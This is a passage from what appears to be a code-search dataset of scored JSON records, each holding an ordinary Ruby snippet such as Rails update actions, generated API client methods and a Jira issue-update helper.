"title": ""
},
{
"docid": "f5d533c23fd9cdd597b2628e4799f496",
"score": "0.55843484",
"text": "def update\n respond_to do |format|\n if @qa_option.update(qa_option_params)\n format.html { redirect_to @qa_option, notice: 'Qa option was successfully updated.' }\n format.json { render :show, status: :ok, location: @qa_option }\n else\n format.html { render :edit }\n format.json { render json: @qa_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f14648c57c340171d7e9015d0d9e5cde",
"score": "0.5583798",
"text": "def update_options\n @update_options ||= get_option(:update_options)\n end",
"title": ""
},
{
"docid": "f083cac04c70485b7d70221ddf3e478b",
"score": "0.5581555",
"text": "def update\n respond_to do |format|\n if @general_state_option.update(general_state_option_params)\n format.html { redirect_to @general_state_option, notice: 'General state option was successfully updated.' }\n format.json { render :show, status: :ok, location: @general_state_option }\n else\n format.html { render :edit }\n format.json { render json: @general_state_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4cba2f62c53620de8ec3f4c467aed123",
"score": "0.5580752",
"text": "def update\n respond_to do |format|\n if @door_variants_fulfillment_option.update(door_variants_fulfillment_option_params)\n format.html { redirect_to @door_variants_fulfillment_option, notice: 'Door variants fulfillment option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @door_variants_fulfillment_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a6f6249e271930f4c6dd8cf71ddac1de",
"score": "0.55805326",
"text": "def destroy\n @stage_common_option.destroy\n respond_to do |format|\n format.html { redirect_to stage_common_options_url, notice: 'Stage common option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5c9655037208f452120f8ced8149eed3",
"score": "0.5575378",
"text": "def update\n respond_to do |format|\n if @event_option.update(event_option_params)\n format.html { redirect_to @event_option, notice: 'Event option was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_option }\n else\n format.html { render :edit }\n format.json { render json: @event_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ebc2f4157f3e1aa3e32f6a6c3afb76e",
"score": "0.5570452",
"text": "def update_pipeline_stage_with_http_info(id, api_stage_change, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OpportunitiesApi#update_pipeline_stage ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling update_pipeline_stage\" if id.nil?\n \n # verify the required parameter 'api_stage_change' is set\n fail \"Missing the required parameter 'api_stage_change' when calling update_pipeline_stage\" if api_stage_change.nil?\n \n # resource path\n path = \"/Opportunities/{id}/PipelineStage\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'text/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(api_stage_change)\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'APIOpportunity')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OpportunitiesApi#update_pipeline_stage\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "84d3391c049541d500a9fcf0ac2c3673",
"score": "0.55687886",
"text": "def update\n @checkbox_option = CheckboxOption.find(params[:id])\n\n respond_to do |format|\n if @checkbox_option.update_attributes(params[:checkbox_option])\n format.html { redirect_to @checkbox_option, notice: 'Checkbox option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @checkbox_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c3158898c30f06a1f3362f781c87b75",
"score": "0.5568786",
"text": "def api_stages_batch_edit_patch_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.api_stages_batch_edit_patch ...'\n end\n # resource path\n local_var_path = '/api/stages/batch/edit'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_stages_batch_edit_patch\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "2a4d78598d59810928743d9d77c8f943",
"score": "0.5566956",
"text": "def update\n respond_to do |format|\n if @myoption.update(myoption_params)\n format.html { redirect_to @myoption, notice: 'Myoption was successfully updated.' }\n format.json { render :show, status: :ok, location: @myoption }\n else\n format.html { render :edit }\n format.json { render json: @myoption.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "228fc8abcf8c44a3cfc138ffcadd0e2d",
"score": "0.5554798",
"text": "def update\n respond_to do |format|\n if @option_choice.update(option_choice_params)\n format.html { redirect_to @option_choice, notice: 'Option choice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @option_choice.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d251e3e4ab9baf0511bd31182961095",
"score": "0.5546825",
"text": "def update\n respond_to do |format|\n if @option_group.update(option_group_params)\n format.html { redirect_to @option_group, notice: 'Option group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @option_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9b4bf5e9f906d98a9c2b2d4f3a656514",
"score": "0.55443215",
"text": "def update\n add_breadcrumb 'Poll Option'\n respond_to do |format|\n if @poll_option.update(poll_option_params)\n format.html { redirect_to @poll_option, notice: \"Poll option was successfully updated.\" }\n format.json { render :show, status: :ok, location: @poll_option }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @poll_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a70fb432aeea760ee5a93aa198bcac2d",
"score": "0.5539364",
"text": "def update\n respond_to do |format|\n if @jobstage.update(jobstage_params)\n format.html { redirect_to @jobstage, notice: 'Jobstage was successfully updated.' }\n format.json { render :show, status: :ok, location: @jobstage }\n else\n format.html { render :edit }\n format.json { render json: @jobstage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7fdf69f3879c1d27cfb1e13ac74d500",
"score": "0.55317664",
"text": "def update\n authorize @option\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to edit_option_path(@option), notice: 'Opciones de configuracion editadas correctamente.' }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :edit }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ef304ee7b98048d459af73135e540f39",
"score": "0.55305034",
"text": "def update\n respond_to do |format|\n if @response_option.update(response_option_params)\n format.html { redirect_to @response_option, notice: 'Response option was successfully updated.' }\n format.json { render :show, status: :ok, location: @response_option }\n else\n format.html { render :edit }\n format.json { render json: @response_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ddc97852fc51358b10959fdefc02c0c",
"score": "0.5526393",
"text": "def edit\n respond_with(stage)\n end",
"title": ""
},
{
"docid": "a7e4efadc3ec86cbcce66f7c9fed2df3",
"score": "0.55165803",
"text": "def update\n form_wrapper_id = params[:custom_form][:form_wrapper_id] || nil\n options_select = {\n :en => params[:custom_form][:select_field_option_choices_en],\n :es => params[:custom_form][:select_field_option_choices_es],\n :fr => params[:custom_form][:select_field_option_choices_fr],\n :pt => params[:custom_form][:select_field_option_choices_pt],\n } || nil\n options_checkbox = {\n :en => params[:custom_form][:checkbox_field_option_choices_en],\n :es => params[:custom_form][:checkbox_field_option_choices_es],\n :fr => params[:custom_form][:checkbox_field_option_choices_fr],\n :pt => params[:custom_form][:checkbox_field_option_choices_pt],\n } || nil\n\n respond_to do |format|\n if @custom_form.update(custom_form_params)\n \n @custom_form.create_fields(options_checkbox, options_select, nil, true)\n @custom_form.store_options(options_checkbox, options_select, nil, true)\n @custom_form.check_index()\n\n format.html { redirect_to questions_custom_form_path(form_wrapper_id), alert: I18n.t('activerecord.models.custom_form.single') + I18n.t('helpers_locale.models.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @custom_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8924de16d5b68934713e2dc8e2cbab54",
"score": "0.5513559",
"text": "def issue_update(issue, edit_opts = {})\n # always ensure we are logged in first\n ensure_logged_in\n\n\n json = {\n :update => {}\n }\n\n edit_opts[:fields].keys.each do |f|\n json[:update][f] = [ { :set => edit_opts[:fields][f] } ]\n end\n\n edit_opts[:customfields].andand.each_pair do |n,cf|\n json[:fields][n] = cf\n end\n\n if edit_opts[:commentText]\n json[:update][:comment] = [ {\n :add => {\n :body => edit_opts[:commentText]\n }\n } ]\n end\n\n # If we are updating priority, need to fetch its ID\n if edit_opts[:priority]\n priorities = json_get(\"rest/api/#{@api_version}/priority\")\n priority_name = nil\n priority_id = nil\n priorities.each do |p|\n if p[:name].match(Regexp.new(edit_opts[:priority], Regexp::IGNORECASE))\n @log.debug(\"Matched priority name #{p[:name]}\")\n priority_name = p[:name]\n priority_id = p[:id]\n break\n end\n end\n if priority_name.nil?\n @log.error \"Unable to find priority for #{edit_opts[:priority]}, ignoring!\"\n else\n json[:update][:priority] = [ { :set => {:id => priority_id} } ]\n end\n end\n\n # If we are updating components, need to fetch the possibilities\n if !edit_opts[:components].andand.empty?\n # create the container\n json[:update][:components] = []\n components = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/components\")\n\n # for each component, figure out if we are adding or removing and match to an ID\n edit_opts[:components].each do |current_component|\n operation = :add\n current_component.gsub!(/^\\+/, '')\n if current_component.match(/^-/)\n operation = :remove\n current_component.gsub!(/^-/, '')\n end\n\n found = false\n components.each do |c|\n if c[:name].match(Regexp.new(current_component, Regexp::IGNORECASE))\n @log.debug(\"Matched component #{operation} => #{c[:name]} for regex #{current_component}\")\n json[:update][:components] << { operation => { :id => c[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find component for #{current_component}, ignoring!\"\n end\n end\n end\n\n # If we are updating issuetype, need to fetch the possibilities\n if !edit_opts[:issuetype].andand.empty?\n found_issue_type = nil\n match = false\n issuetypes = json_get(\"rest/api/#{@api_version}/issue/createmeta?projectKeys=#{issue[:fields][:project][:key]}\")[:projects].first[:issuetypes]\n issuetypes.sort {|a,b| a[:id].to_i <=> b[:id].to_i }.each do |issuetype|\n @log.debug \"Found issuetype: #{issuetype[:name]}\"\n\n if issuetype[:name].match(Regexp.new(edit_opts[:issuetype] || \".\", Regexp::IGNORECASE))\n found_issue_type = issuetype\n match = true\n break\n end\n end\n\n if match\n json[:fields] = {} if json[:fields].nil?\n json[:fields][:issuetype] = { :id => found_issue_type[:id] }\n # XXX: Note that if the issue was a non-sub-task and we are\n # converting to a sub-task type, the call will fail (with a very\n # unhelpful error message \"Issue type is a sub-task but parent\n # issue key or id not specified.\"). This is because the REST API\n # does not support this. See:\n # https://jira.atlassian.com/browse/JRA-27893\n # Leaving this stuff in here anyways in case they ever fix it,\n # and also so we can re-parent existing subtasks, or switch\n # between two issue types where both are subtask or non-subtask.\n @log.debug(\"Matched issue type #{found_issue_type[:name]} with regex #{edit_opts[:issuetype]}\")\n if !edit_opts[:parent].nil?\n @log.debug(\"Including parent key #{edit_opts[:parent]}\")\n json[:fields][:parent] = { :key => edit_opts[:parent] }\n end\n else\n raise Atlassian::IllegalArgumentError.new(\"Unable to find matching issue type for regex #{edit_opts[:issuetype]}\")\n end\n end\n\n # If we are updating fixversions, need to fetch the possibilities\n if !edit_opts[:fixversions].andand.empty?\n # create the container\n # ARGH! the key \"fixVersions\" isn't listed in the editmeta API\n # call output...but it works (as of jira 5.2.11 anyways). and YES,\n # it is case senstiive. awesome.\n json[:update][:fixVersions] = []\n fixversions = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/versions\")\n\n # for each fixversion, figure out if we are adding or removing and match to an ID\n edit_opts[:fixversions].each do |current_fixversion|\n operation = :add\n current_fixversion.gsub!(/^\\+/, '')\n if current_fixversion.match(/^-/)\n operation = :remove\n current_fixversion.gsub!(/^-/, '')\n end\n\n found = false\n fixversions.each do |f|\n if f[:name].match(Regexp.new(current_fixversion, Regexp::IGNORECASE))\n @log.debug(\"Matched fixversion #{operation} => #{f[:name]} for regex #{current_fixversion}\")\n json[:update][:fixVersions] << { operation => { :id => f[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find fixversion for #{current_fixversion}, ignoring!\"\n end\n end\n end\n\n # If we are updating affectsversions, need to fetch the possibilities\n if !edit_opts[:affectsversions].andand.empty?\n # create the container\n json[:update][:versions] = []\n affectsversions = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/versions\")\n\n # for each affectsversion, figure out if we are adding or removing and match to an ID\n edit_opts[:affectsversions].each do |current_affectsversion|\n operation = :add\n current_affectsversion.gsub!(/^\\+/, '')\n if current_affectsversion.match(/^-/)\n operation = :remove\n current_affectsversion.gsub!(/^-/, '')\n end\n\n found = false\n affectsversions.each do |f|\n if f[:name].match(Regexp.new(current_affectsversion, Regexp::IGNORECASE))\n @log.debug(\"Matched affectsversion #{operation} => #{f[:name]} for regex #{current_affectsversion}\")\n json[:update][:versions] << { operation => { :id => f[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find affectsversion for #{current_affectsversion}, ignoring!\"\n end\n end\n end\n\n if edit_opts[:assignee]\n # get the list of assignable people for this issue\n assignees = json_get(\"rest/api/#{@api_version}/user/assignable/search?issueKey=#{issue[:key]}&maxResults=2&username=#{URI.escape(edit_opts[:assignee])}\")\n\n if (assignees.size != 1)\n @log.error \"Unable to find UNIQUE assignee for #{edit_opts[:assignee]}, ignoring (try a larger substring, check spelling?)\"\n @log.error \"Candidates: \" + assignees.map {|x| x[:name] }.join(\", \")\n else\n json[:update][:assignee] = [{ :set => { :name => assignees.first[:name] } } ]\n end\n end\n\n response = json_put(\"rest/api/#{@api_version}/issue/#{issue[:key]}\", json)\n @log.info \"Successfully updated issue #{issue[:key]}\"\n response\n end",
"title": ""
},
{
"docid": "cd9c098bb03d4a45447148e61c52bb9c",
"score": "0.5509189",
"text": "def update\n respond_to do |format|\n if @asset_type_option.update(asset_type_option_params)\n format.html { redirect_to @asset_type_option, notice: 'Asset type option was successfully updated.' }\n format.json { render :show, status: :ok, location: @asset_type_option }\n else\n format.html { render :edit }\n format.json { render json: @asset_type_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b13e40d4ddcc065714944297352f67e",
"score": "0.549889",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to admin_stages_path, notice: t('app.msgs.success_updated', :obj => t('activerecord.models.stage')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "32cbdd2656bfc194c58906d7828463e1",
"score": "0.54916537",
"text": "def update\n respond_to do |format|\n if @optin_service.update(optin_service_params)\n format.html { redirect_to @optin_service, notice: 'Optin service was successfully updated.' }\n format.json { render :show, status: :ok, location: @optin_service }\n else\n format.html { render :edit }\n format.json { render json: @optin_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "08328512a41c323dbd26504dcc139208",
"score": "0.54887664",
"text": "def update\n logger.info \"got to update stages\"\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to @stage, :notice => 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @stage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ac59f220376857d4ceb7433034eabc7e",
"score": "0.54865533",
"text": "def update\n respond_to do |format|\n if @opt10059_one_two.update(opt10059_one_two_params)\n format.html { redirect_to @opt10059_one_two, notice: 'Opt10059 one two was successfully updated.' }\n format.json { render :show, status: :ok, location: @opt10059_one_two }\n else\n format.html { render :edit }\n format.json { render json: @opt10059_one_two.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4fbe2bb4554c75214ec612a847f458e",
"score": "0.5482275",
"text": "def update_tenant_circle(args = {}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "6a3c5726ac92b7038ed68890586421bf",
"score": "0.54814976",
"text": "def product_option_value_update_with_http_info(option_value_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ProductApi.product_option_value_update ...\"\n end\n # verify the required parameter 'option_value_id' is set\n if @api_client.config.client_side_validation && option_value_id.nil?\n fail ArgumentError, \"Missing the required parameter 'option_value_id' when calling ProductApi.product_option_value_update\"\n end\n # resource path\n local_var_path = \"/product.option.value.update.json\"\n\n # query parameters\n query_params = {}\n query_params[:'option_value_id'] = option_value_id\n query_params[:'price'] = opts[:'price'] if !opts[:'price'].nil?\n query_params[:'quantity'] = opts[:'quantity'] if !opts[:'quantity'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key', 'store_key']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20027')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProductApi#product_option_value_update\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "362dac5755387f3a0bae3f931f8acd95",
"score": "0.5478986",
"text": "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to @option, notice: I18n.t(\"successes.messages.update\") }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :show }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ad4fd451ba062d4212571c3e3f3673a7",
"score": "0.54743195",
"text": "def update\n respond_with do |format|\n format.json {\n id = params[\"id\"]\n \n # delete form data we don't need\n params.delete(\"id\")\n params.delete(\"format\")\n params.delete(\"action\")\n params.delete(\"controller\")\n \n vs = ValueSet.find(id)\n # Whitelist necessary here. When passing in code_sets it breaks update_attributes.\n whitelist = [:oid, :description, :category, :concept, :organization, :version, :key]\n # splat needed below to flatten attributes to slice()\n if !vs.update_attributes(params.slice(*whitelist))\n render :json => {:message => \"error\", :errors => vs.errors}\n end\n \n if params.keys.include?(\"code_sets\")\n # symbolize our params\n sliced = params.slice(*whitelist)\n params_syms = {}\n sliced.map {|k,v| params_syms[k.to_sym] = v }\n \n # our form has embedded code_sets so now we need to add them\n form_code_sets = params[\"code_sets\"].keys.collect {|i| params[\"code_sets\"][i]}\n \n # this was a pain: embedded docs were not saving right\n vs.update_attributes(:code_sets => form_code_sets)\n vs.save\n else\n # our form has no embedded code_sets so delete them all\n vs.code_sets.delete_all\n vs.code_sets = []\n end\n \n if vs.save\n flash[:notice] = \"you just updated over ajax...\"\n render :json => {:message => \"success\"}\n else\n render :json => {:message => \"error\", :errors => vs.errors}\n end\n }\n end\n end",
"title": ""
},
{
"docid": "aacdee9515fa1bfdb62dffbf9b3de3e4",
"score": "0.5473226",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(stage_params)\n format.html { redirect_to project_stages_path @stage.project, notice: 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e525043fc1789f0770119d998d854187",
"score": "0.5469618",
"text": "def update_custom_field_options(custom_field_key, new_options,\n keep_existing_options)\n custom_field_key = CGI.escape(custom_field_key)\n options = { :body => {\n :Options => new_options,\n :KeepExistingOptions => keep_existing_options }.to_json }\n put \"customfields/#{custom_field_key}/options\", options\n end",
"title": ""
},
{
"docid": "ee3afb59b0461443ed3211399299d213",
"score": "0.5463481",
"text": "def update\n params[:question][:existing_option_attributes] ||= {}\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n flash[:notice] = 'Question was successfully updated.'\n format.html { redirect_to(survey_question_path(@survey, @question)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d293cfe65a2610a4b0b7ac1a96eed2e2",
"score": "0.5462941",
"text": "def update\n @option = @options.find(params[:id])\n\n respond_to do |format|\n if @option.update_attributes(params[:option])\n format.html { redirect_to @shop, notice: t(\"options.update.notice_success\") }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"title": ""
},
{
"docid": "3b57e70586325e199f85bf445037f645",
"score": "0.5447664",
"text": "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to @option, notice: 'Pesquisa atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :edit }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1434e60b599142361fc7aa76e65b2c86",
"score": "0.54435045",
"text": "def update\n respond_to do |format|\n if @task_option.update(task_option_params)\n format.html { redirect_to @task_option, notice: 'Task option was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_option }\n else\n format.html { render :edit }\n format.json { render json: @task_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "47939ef826f0375a08a995fef2043a73",
"score": "0.54366064",
"text": "def update\n @stage_order.update(stage_order_params)\n render json: @stage_order \n end",
"title": ""
},
{
"docid": "286cdd30735d1d6dd7093c6e4d78ffc7",
"score": "0.5435739",
"text": "def update\n @taryph.options = params[:taryph][:options].reject{|i|i.empty?}\n respond_to do |format|\n if @taryph.update(taryph_params)\n format.html { redirect_to @taryph, notice: 'Taryph was successfully updated.' }\n format.json { render :show, status: :ok, location: @taryph }\n else\n format.html { render :edit }\n format.json { render json: @taryph.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6dedf7727a7a8e53b605d27f9f50cffa",
"score": "0.54351735",
"text": "def update\n respond_to do |format|\n if @question_option.update(question_option_params)\n format.html { redirect_to survey_question_question_options_path(@survey, @question), notice: 'Question option was successfully updated.' }\n format.json { render :show, status: :ok, location: @question_option }\n else\n format.html { render :edit }\n format.json { render json: @question_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cd1240546fafa9d0a819cec6e3886bc2",
"score": "0.5434907",
"text": "def update\n respond_to do |format|\n if @size_option.update(size_option_params)\n format.html { redirect_to @size_option, notice: 'Size option was successfully updated.' }\n format.json { render :show, status: :ok, location: @size_option }\n else\n format.html { render :edit }\n format.json { render json: @size_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aabaf7b2f32c2ef10639d645c9bf7d1e",
"score": "0.5431619",
"text": "def api_stages_id_edit_patch_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.api_stages_id_edit_patch ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.api_stages_id_edit_patch\"\n end\n if @api_client.config.client_side_validation && id !~ Regexp.new(/\\\\d+/)\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.api_stages_id_edit_patch, must conform to the pattern /\\\\d+/.\"\n end\n\n # resource path\n local_var_path = '/api/stages/{id}/edit'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_stages_id_edit_patch\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "affc1bf601231759b402d61fca064a25",
"score": "0.5430881",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to edit_stage_path(@stage), notice: 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "805ba8bf953205c10b5866ff39e0f079",
"score": "0.5429357",
"text": "def api_stages_id_edit_put_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.api_stages_id_edit_put ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.api_stages_id_edit_put\"\n end\n if @api_client.config.client_side_validation && id !~ Regexp.new(/\\\\d+/)\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.api_stages_id_edit_put, must conform to the pattern /\\\\d+/.\"\n end\n\n # resource path\n local_var_path = '/api/stages/{id}/edit'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_stages_id_edit_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "c4962c38f76a3cf6badac288e68c521e",
"score": "0.54047424",
"text": "def update\n @poll_option_set = PollOptionSet.find(params[:id])\n\n respond_to do |format|\n if @poll_option_set.update_attributes(params[:poll_option_set])\n format.html { redirect_to @poll_option_set, :notice => 'Poll option set was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @poll_option_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3698b3a5eae2bc44424c7ebcd3b9c9bd",
"score": "0.5402082",
"text": "def update(options)\n ensure_client && ensure_uri\n response = @client.rest_put(@data['uri'], 'body' => options)\n new_data = @client.response_handler(response)\n set_all(new_data)\n end",
"title": ""
},
{
"docid": "8171c074d7d469e319dcb09ca4cb7214",
"score": "0.53998524",
"text": "def update\n respond_to do |format|\n if @option_group.update_attributes(params[:option_group])\n format.html { redirect_to option_groups_path, notice: t('controller.success.update', :thing => t('activerecord.models.option_group')) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @option_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "359c2c9fdb5ddc344ff56d2957ba3695",
"score": "0.53838825",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to @stage, notice: 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "359c2c9fdb5ddc344ff56d2957ba3695",
"score": "0.5383298",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to @stage, notice: 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "56a082efd4697d43e7efe1dbdcc7deab",
"score": "0.53828216",
